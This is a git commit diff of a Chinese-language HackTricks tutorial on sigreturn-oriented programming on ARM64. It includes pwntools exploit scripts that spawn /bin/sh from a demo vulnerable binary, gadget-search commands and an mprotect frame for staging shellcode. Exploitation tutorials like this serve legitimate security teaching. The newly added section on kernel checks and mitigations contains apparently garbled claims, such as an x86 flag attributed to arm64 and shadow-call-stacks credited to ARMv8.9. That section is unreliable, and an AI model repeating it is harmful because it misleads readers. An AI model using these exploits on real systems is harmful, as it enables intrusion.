Translated ['src/binary-exploitation/rop-return-oriented-programing/srop

This commit is contained in:
Translator 2025-08-19 20:19:26 +00:00
parent 91a6607f74
commit f0e436a3b4

View File

@ -1,10 +1,10 @@
# SROP - ARM64
# {{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Pwntools 示例
此示例创建了易受攻击的二进制文件并对其进行利用。该二进制文件 **读取到栈中** 然后调用 **`sigreturn`**
这个示例创建了一个易受攻击的二进制文件并对其进行利用。该二进制文件 **读取到栈中** 然后调用 **`sigreturn`**
```python
from pwn import *
@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@ -130,13 +130,13 @@ char* b = gen_stack();
return 0;
}
```
## 利用
## Exploit
**`vdso`** 部分,可以在偏移量 **`0x7b0`** 找到对 **`sigreturn`** 的调用:
在**`vdso`**部分,可以在偏移量**`0x7b0`**找到对**`sigreturn`**的调用:
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
因此,如果泄露,可以 **使用此地址访问 `sigreturn`**,如果二进制文件没有加载它:
因此,如果泄露,可以**使用此地址访问`sigreturn`**,如果二进制文件没有加载它:
```python
from pwn import *
@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@ -171,10 +171,59 @@ p.interactive()
../ret2vdso.md
{{#endref}}
绕过 `/bin/sh` 的地址,您可以创建多个指向它的环境变量,更多信息请参见:
为了绕过 `/bin/sh` 的地址,您可以创建多个指向它的环境变量,更多信息请参见:
{{#ref}}
../../common-binary-protections-and-bypasses/aslr/
{{#endref}}
---
## 自动查找 `sigreturn` gadgets (2023-2025)
在现代发行版中,`sigreturn` 跳板仍然由 **vDSO** 页面导出,但确切的偏移量可能因内核版本和构建标志(如 BTI (`+branch-protection`) 或 PAC而异。自动化其发现可以防止硬编码偏移量
```bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
```
两个工具都理解 **AArch64** 编码,并将列出可以用作 *SROP gadget* 的候选 `mov x8, 0x8b ; svc #0` 序列。
> 注意:当二进制文件使用 **BTI** 编译时,每个有效间接分支目标的第一条指令是 `bti c`。链接器放置的 `sigreturn` 跳板已经包含正确的 BTI 着陆垫,因此该 gadget 可以从非特权代码中使用。
## 使用 ROP 链接 SROP通过 `mprotect` 进行 pivot
`rt_sigreturn` 让我们控制 *所有* 通用寄存器和 `pstate`。在 x86 上的一个常见模式是1) 使用 SROP 调用 `mprotect`2) pivot 到一个包含 shell-code 的新可执行栈。相同的想法在 ARM64 上也适用:
```python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
```
在发送帧后,您可以发送一个包含原始 shell 代码的第二阶段,地址为 `0x400000+0x100`。由于 **AArch64** 使用 *PC-relative* 地址,这通常比构建大型 ROP 链更方便。
## 内核验证、PAC 和 Shadow-Stacks
Linux 5.16 引入了对用户空间信号帧的更严格验证(提交 `36f5a6c73096`)。内核现在检查:
* 当 `extra_context` 存在时,`uc_flags` 必须包含 `UC_FP_XSTATE`
* `struct rt_sigframe` 中的保留字必须为零。
* *extra_context* 记录中的每个指针都必须对齐并指向用户地址空间内。
`pwntools>=4.10` 会自动生成合规的帧,但如果您手动构建,请确保将 *reserved* 初始化为零,并在不需要的情况下省略 SVE 记录——否则 `rt_sigreturn` 将返回 `SIGSEGV` 而不是返回。
从主流 Android 14 和 Fedora 38 开始,用户空间默认编译时启用 **PAC** (*Pointer Authentication*) 和 **BTI**`-mbranch-protection=standard`)。 *SROP* 本身不受影响,因为内核直接从构造的帧中覆盖 `PC`,绕过保存在栈上的经过认证的 LR然而任何 **后续的 ROP 链** 执行间接分支时必须跳转到启用 BTI 的指令或 PAC 地址。在选择小工具时请记住这一点。
在 ARMv8.9 中引入的 Shadow-Call-Stacks并且在 ChromeOS 1.27+ 上已启用)是一种编译器级的缓解措施,并且 *不* 干扰 SROP因为没有执行返回指令——控制流由内核转移。
## 参考文献
* [Linux arm64 信号处理文档](https://docs.kernel.org/arch/arm64/signal.html)
* [LWN "AArch64 分支保护已在 GCC 和 glibc 中实现" (2023)](https://lwn.net/Articles/915041/)
{{#include ../../../banners/hacktricks-training.md}}